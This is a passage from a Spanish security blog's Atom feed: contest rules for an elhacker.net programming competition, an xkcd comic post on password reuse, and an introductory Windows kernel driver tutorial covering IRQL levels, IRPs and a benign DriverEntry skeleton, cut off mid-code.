/&gt;&lt;b&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 1.3em;"&gt;Reglas:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;100 reglas:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1)&lt;/b&gt;  Las aplicaciones al estilo "Hola mundo" con menos de 10/20 lineas de  código (dependiendo el lenguaje) serán descalificados. Cualquier duda  respecto del criterio a seguir, leer el FAQ en el &lt;a href="https://foro.elhacker.net/programacion_general/ehndev_2010_faq_hilo_para_preguntar_todas_las_dudas_acerca_del_concurso-t308346.0.html" target="_blank"&gt;hilo de dudas&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2)&lt;/b&gt; Cualquier aplicacion que no contenga su código fuente sera descalificada sin posibilidad de volver a presentarla.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3)&lt;/b&gt; Cualquier aplicacion que ya hayas posteado &lt;b&gt;en el foro&lt;/b&gt; hace mas de 1 año, no puede ser presentada al menos que esta presente un re-diseño u alguna modificación en sus funciones.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4)&lt;/b&gt; Se pueden postear aplicaciones relacionadas con el malware ya sean troyanos, virus etc. Pero esto debe quedar &lt;b&gt;bien en claro&lt;/b&gt;  en la descripción al postear la aplicacion. Es decir, cualquier intento  de engaño para infectar usuarios sera motivo de baneo permanente.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 1.3em;"&gt;&lt;b&gt;&lt;br /&gt;Recomendaciones:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si tenes alguna duda respecto del concurso, puedes hacer una consulta en el &lt;a href="https://foro.elhacker.net/programacion_general/ehndev_2010_faq_hilo_para_preguntar_todas_las_dudas_acerca_del_concurso-t308346.0.html" target="_blank"&gt;hilo de dudas&lt;/a&gt; o enviándome un pm. &lt;br /&gt;&lt;br /&gt;Si tenes alguna duda respecto de una aplicacion y su funcionamiento, no dudes en enviarle pm al creador correspondiente.&lt;br /&gt;&lt;br /&gt;Ante la duda, puedes subir cualquier aplicacion ya sea a VirusTotal u a NoVirusThanks. &lt;br /&gt;&lt;br /&gt;Por supuesto, también puedes usar una maquina virtual para probar las aplicaciones.&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Happy coding! &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-6201811546300958840?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/6201811546300958840/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/10/ehn-dev-2010-concurso-de-desarrollo-de.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6201811546300958840" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6201811546300958840" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/10/ehn-dev-2010-concurso-de-desarrollo-de.html" title="[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-3406701968613899500</id><published>2010-10-22T04:42:00.000-03:00</published><updated>2010-10-22T04:42:52.741-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Offtopic" /><title type="text">Password reuse</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://imgs.xkcd.com/comics/password_reuse.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://imgs.xkcd.com/comics/password_reuse.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-3406701968613899500?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/3406701968613899500/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/10/password-reuse.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/3406701968613899500" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/3406701968613899500" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/10/password-reuse.html" title="Password reuse" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-4783113613567186468</id><published>2010-10-09T11:08:00.016-03:00</published><updated>2010-11-04T23:19:53.293-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C" /><category scheme="http://www.blogger.com/atom/ns#" term="Kernel" /><category scheme="http://www.blogger.com/atom/ns#" term="Drivers" /><category scheme="http://www.blogger.com/atom/ns#" term="Windows" /><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><category scheme="http://www.blogger.com/atom/ns#" term="C++" /><title type="text">Principios básicos de desarrollo de drivers en Windows.</title><content type="html">&lt;span style="font-size: medium;"&gt;&lt;b&gt;Introducción&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Encontrar información sobre el desarrollo de drivers no siempre es tarea fácil, sin importar el sistema operativo del cual estemos hablando.&lt;br /&gt;&lt;br /&gt;Normalmente, lo ideal para entender este tipo de temas correctamente es leer libros especializados en el tema u ir directamente a las fuentes. Suele ser lo correcto ya que el tema es complejo, largo y puede volverse pesado para quien se apure en entender todos los conceptos implicados.&lt;br /&gt;Por ahora, esto no sera mas que una introducción, por lo tanto tratare que sea breve. Es solo un intento de dar una perspectiva general sobre este tema y con esto lograr que mas gente decida a interiorizarse en el, con suerte mas adelante podremos ver técnicas y/o conceptos mas avanzados y que la mayoría los entiendan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;subsystem, ¿que es?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Es ideal conocer a fondo las herramientas que estamos utilizando, y con esto no solo me refiero al lenguaje, si no tambien al entorno de trabajo que utilicemos.&lt;br /&gt;&lt;br /&gt;El proceso de compilado y linkeado genera un binario adecuado para que el sistema operativo en el cual estemos pueda comprenderlo. En Windows, este formato es lo que varios conocen como PE (Portable Executable Format)&lt;br /&gt;&lt;br /&gt;Alrededor de PE, tenemos un concepto llamado subsystem. Un subsystem, entre otras opciones incluidas en la información del header PE, describe como cargar un ejecutable que también incluye el punto de entrada (Entry Point) en el binario.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Conociendo tus herramientas.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Posiblemente muchos recién se enteran lo que es un subsystem, y esto se debe a que generalmente en la etapa de aprendizaje de lenguajes como C/C++, uno puede simplemente descargar un IDE y ponerse a trabajar. Los errores no causan tantos problemas cuando todavía no salimos del modo usuario.&lt;br /&gt;Por ejemplo, las personas que utilizan Visual C++, habrán hecho ya alguna aplicacion en consola u alguna aplicacion para Windows. Al crear el proyecto, el subsystem viene predefinido, tal como /SUBSYSTEM:CONSOLE o /SUBSYSTEM:WINDOWS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La novedad en todo esto, es que un driver es linkeado con otro tipo de subsystem, llamado NATIVE.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/fcc1zstk%28vs.71%29.aspx" target="_blank"&gt;MSDN /SUBSYSTEM&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="sites-codeblock sites-codesnippet-block"&gt;&lt;code&gt;NATIVE&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Device drivers for Windows NT. If /DRIVER:WDM is specified, NATIVE is the default.&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Los drivers también tienen un "main".&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por supuesto, los drivers también tienen un main, un Entry Point.&lt;br /&gt;&lt;br /&gt;Si sabemos que es un driver lo que vamos a realizar, basta con que el main reciba los parámetros adecuados y retorne lo esperado para un driver. El sistema se encargara de cargar el driver cuando lo requiramos y darse cuenta que es un driver.&lt;br /&gt;Podemos utilizar cualquier nombre como Entry Point, pero por convención en Windows se utiliza DriverEntry.&lt;br /&gt;Si estas utilizando el DDK, al seleccionar que vas a construir un driver se utilizan una serie de opciones predefinidas. Esta es la razón por la cual DriverEntry se convirtió en algo similar al Entry Point oficial.&lt;br /&gt;Al especificar /DRIVER, tenemos tambien otras opciones, directo de la MSDN:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Use the /DRIVER linker option to build a Windows NT kernel mode driver.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;The UPONLY keyword causes the linker to add the IMAGE_FILE_UP_SYSTEM_ONLY bit to the characteristics in the output header to specify that it is a uniprocessor (UP) driver. The operating system will refuse to load a UP driver on a multiprocessor (MP) system.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;The WDM keyword causes the linker to set the IMAGE_DLLCHARACTERISTICS_WDM_DRIVER bit in the optional header's DllCharacteristics field. WDM video capture was designed to resolve the problems inherent in the Video for Windows architecture.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En este caso utilizaremos:&lt;br /&gt;&lt;br /&gt;&lt;div class="sites-codeblock sites-codesnippet-block"&gt;&lt;code&gt;/SUBSYSTEM:NATIVE /DRIVER:WDM -entry:DriverEntry&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Conceptos básicos. Lo que debes saber.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Antes de comenzar, hay que cambiar la mentalidad de "Compilar y probar" que todos solemos adquirir mientras aprendemos a programar en modo usuario.&lt;br /&gt;En el mundo de los drivers la situación cambia y lo hace en forma drástica.&lt;br /&gt;Como mínimo podrías ocasionar un BSOD, y si estamos ante un driver que iniciara siempre con el sistema, tenemos un problema.&lt;br /&gt;Igualmente, nada que no puedas revertir entrando en modo seguro u volviendo a configuraciones previas, pero esto solo cabe en las practicas y no en casos reales.&lt;br /&gt;En conclusión, no compiles y pruebes el código de un driver al menos que entiendas a ciencia cierta que es lo que realiza, y mas aun si antes de compilarlo vas a modificar secciones del código.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cabe recordar, que esta es solo una introducción de los conceptos básicos, por lo tanto quien quiera interiorizarse a fondo no le queda mas alternativa que revisar la MSDN u libros como "Programming the Windows Driver Model".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Interrupt Request Level&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Abreviado como IRQL, partamos de la definición del DDK:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;The priority ranking of an interrupt. A processor has an IRQL setting that threads can raise or lower. Interrupts that occur at or below the processor's IRQL setting are masked and will not interfere with the current operation. Interrupts that occur above the processor's IRQL setting take precedence over the current operation.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;The particular IRQL at which a piece of kernel-mode code executes determines its hardware priority. Kernel-mode code is always interruptible: an interrupt with a higher IRQL value can occur at any time, thereby causing another piece of kernel-mode code with the system-assigned higher IRQL to be run immediately on that processor. In other words, when a piece of code runs at a given IRQL, the Kernel masks off all interrupt vectors with a lesser or equal IRQL value on the microprocessor.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si, puede ser difícil de comprender a la primer lectura, por eso vamos a intentar explicarlo en términos mas sencillos.&lt;br /&gt;&lt;br /&gt;El IRQL de un procesador ayuda a especificar como un determinado thread puede ser interrumpido. Dicho thread solo puede ser interrumpido mediante código por un nivel mas alto de IRQL en el mismo procesador.&lt;br /&gt;&lt;br /&gt;En estas épocas, es normal ver equipos con varios procesadores. En esos casos cada procesador corre en su propio IRQL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Estos 4 niveles serán con los que tendrás que trabajar normalmente.&lt;br /&gt;&lt;br /&gt;Normalmente las APIs llevan una pequeña nota aclarando en que nivel de IRQL necesitas estar para poder utilizar determinada API. En reglas generales, a mas alto sea el nivel, menos APIs podes utilizar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1) &lt;b&gt;Passive&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2) &lt;b&gt;APC (Asynchronous Procedure Calls)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3) &lt;b&gt;Dispatch&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4) &lt;b&gt;DIRQL&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1) PASSIVE_LEVEL&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;Interrupts Masked Off — None.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Driver Routines Called at PASSIVE_LEVEL — DriverEntry, AddDevice, Reinitialize, Unload routines, most dispatch routines, driver-created threads, worker-thread callbacks.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El nivel mas bajo. En este nivel corre un thread que se ejecute en modo usuario.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2) APC_LEVEL&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Interrupts Masked Off — APC_LEVEL interrupts are masked off.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Driver Routines Called at APC_LEVEL — Some dispatch routines (see Dispatch Routines and IRQLs).&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este es el nivel donde ocurren las "&lt;a href="http://msdn.microsoft.com/en-us/library/ms681951" target="_blank"&gt;Asynchronous Procedure Calls&lt;/a&gt;". Cuando ocurre una APC, el nivel del procesador se aumenta a APC_LEVEL.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3) DISPATCH_LEVEL&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Interrupts Masked Off — DISPATCH_LEVEL and APC_LEVEL interrupts are masked off. Device, clock, and power failure interrupts can occur.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Driver Routines Called at DISPATCH_LEVEL — StartIo, AdapterControl, AdapterListControl, ControllerControl, IoTimer, Cancel (while holding the cancel spin lock), DpcForIsr, CustomTimerDpc, CustomDpc routines.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La memoria paginada no es accesible en este nivel, por lo tanto toda la memoria accesible debe ser no-paginada. Esto ocasiona que disminuya en gran parte la cantidad de APIs que podes utilizar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4) DIRQL&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Interrupts Masked Off — All interrupts at IRQL&amp;lt;= DIRQL of driver's interrupt object. Device interrupts with a higher DIRQL value can occur, along with clock and power failure interrupts.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Driver Routines Called at DIRQL — InterruptService, SynchCritSection routines.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;En este nivel generalmente un driver no lidia con interrupciones. Es mas que nada una forma de conocer que dispositivos tienen prioridad sobre otros.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;I&lt;b&gt;/O Request Packet&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Abreviado IRP, básicamente es una estructura que permite a diferentes drivers comunicarse entre si y requerir tareas a finalizar.&lt;br /&gt;El manejo de IRPs puede ser muy simple u demasiado complejo dependiendo de cual sea la estructura de los drivers.&lt;br /&gt;El IRP también contendrá "peticiones secundarias", conocido como "IRP Stack Location". Cada driver contendrá sus propias peticiones secundarias respecto de como interpretar el IRP, denominada IO_STACK_LOCATION.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Creando el DriverEntry&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Comenzando con un poco de código, el prototipo del DriverEntry:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div #ffffff;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;NTSTATUS DriverEntry&lt;span style="color: green;"&gt;(&lt;/span&gt;PDRIVER_OBJECT pDriverObject, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;PUNICODE_STRING pRegistryPath&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div style="font-weight: normal; vertical-align: top;"&gt;DRIVER_OBJECT es una estructura que representa el driver.&amp;nbsp; Este objeto contiene un puntero a DEVICE_OBJECT, la cual es otra estructura que representa un dispositivo en particular.&lt;br /&gt;Un solo driver puede manejar múltiples dispositivos, y tal así, DRIVER_OBJETCT mantiene una lista de todos los dispositivos que para los cuales ese driver maneja peticiones.&lt;br /&gt;&lt;br /&gt;Registrypath es una cadena que apunta a una ubicacion en el registro donde la informacion para el driver fue guardada. El driver puede utilizar luego esta ubicacion para guardar informacion especifica.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Veamos la primer parte de nuestra rutina de entrada:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div #ffffff;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;NTSTATUS DriverEntry&lt;span style="color: green;"&gt;(&lt;/span&gt;PDRIVER_OBJECT  pDriverObject, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;PUNICODE_STRING  pRegistryPath&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;NTSTATUS NtStatus &lt;span style="color: navy;"&gt;=&lt;/span&gt; STATUS_SUCCESS&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;UINT uiIndex &lt;span style="color: navy;"&gt;=&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;PDEVICE_OBJECT pDeviceObject &lt;span style="color: navy;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;NULL&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;UNICODE_STRING DriverName, DosDeviceName&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;DbgPrint&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"DriverEntry!&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;RtlInitUnicodeString&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;DriverName, L&lt;span style="color: red;"&gt;"&lt;span style="color: #000099; font-weight: bold;"&gt;\\&lt;/span&gt;Device&lt;span style="color: #000099; font-weight: bold;"&gt;\\&lt;/span&gt;ehn"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;RtlInitUnicodeString&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;DosDeviceName, L&lt;span style="color: red;"&gt;"&lt;span style="color: #000099; font-weight: bold;"&gt;\\&lt;/span&gt;DosDevices&lt;span style="color: #000099; font-weight: bold;"&gt;\\&lt;/span&gt;ehn"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;NtStatus &lt;span style="color: navy;"&gt;=&lt;/span&gt; IoCreateDevice&lt;span style="color: green;"&gt;(&lt;/span&gt;pDriverObject, &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;,&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;DriverName, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;FILE_DEVICE_UNKNOWN,                           &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;FILE_DEVICE_SECURE_OPEN, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;FALSE, &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;pDeviceObject&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div style="font-weight: normal; vertical-align: top;"&gt;&lt;br /&gt;&lt;br /&gt;Lo primero que se nota es la llamada a DbgPrint, esta funciona como el printf de toda la vida, pero en este caso el output va a parar al kernel debugger. Estos mensajes se pueden ver perfectamente con una herramienta como DbgView de &lt;a href="http://technet.microsoft.com/es-ar/sysinternals/default.aspx" target="_blank"&gt;Sysinternals&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ms648420%28VS.85%29.aspx" target="_blank"&gt;RtlInitUnicodeString&lt;/a&gt; inicializa una estructura del tipo UNICODE_STRING.&lt;br /&gt;&lt;br /&gt;Esta estructura esta definida de tal modo que:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div #ffffff;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;typedef&lt;/span&gt; &lt;span style="color: blue;"&gt;struct&lt;/span&gt; _LSA_UNICODE_STRING &lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;USHORT Length&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;USHORT MaximumLength&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;PWSTR  Buffer&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;  LSA_UNICODE_STRING, &lt;/pre&gt;&lt;/li&gt;&lt;li 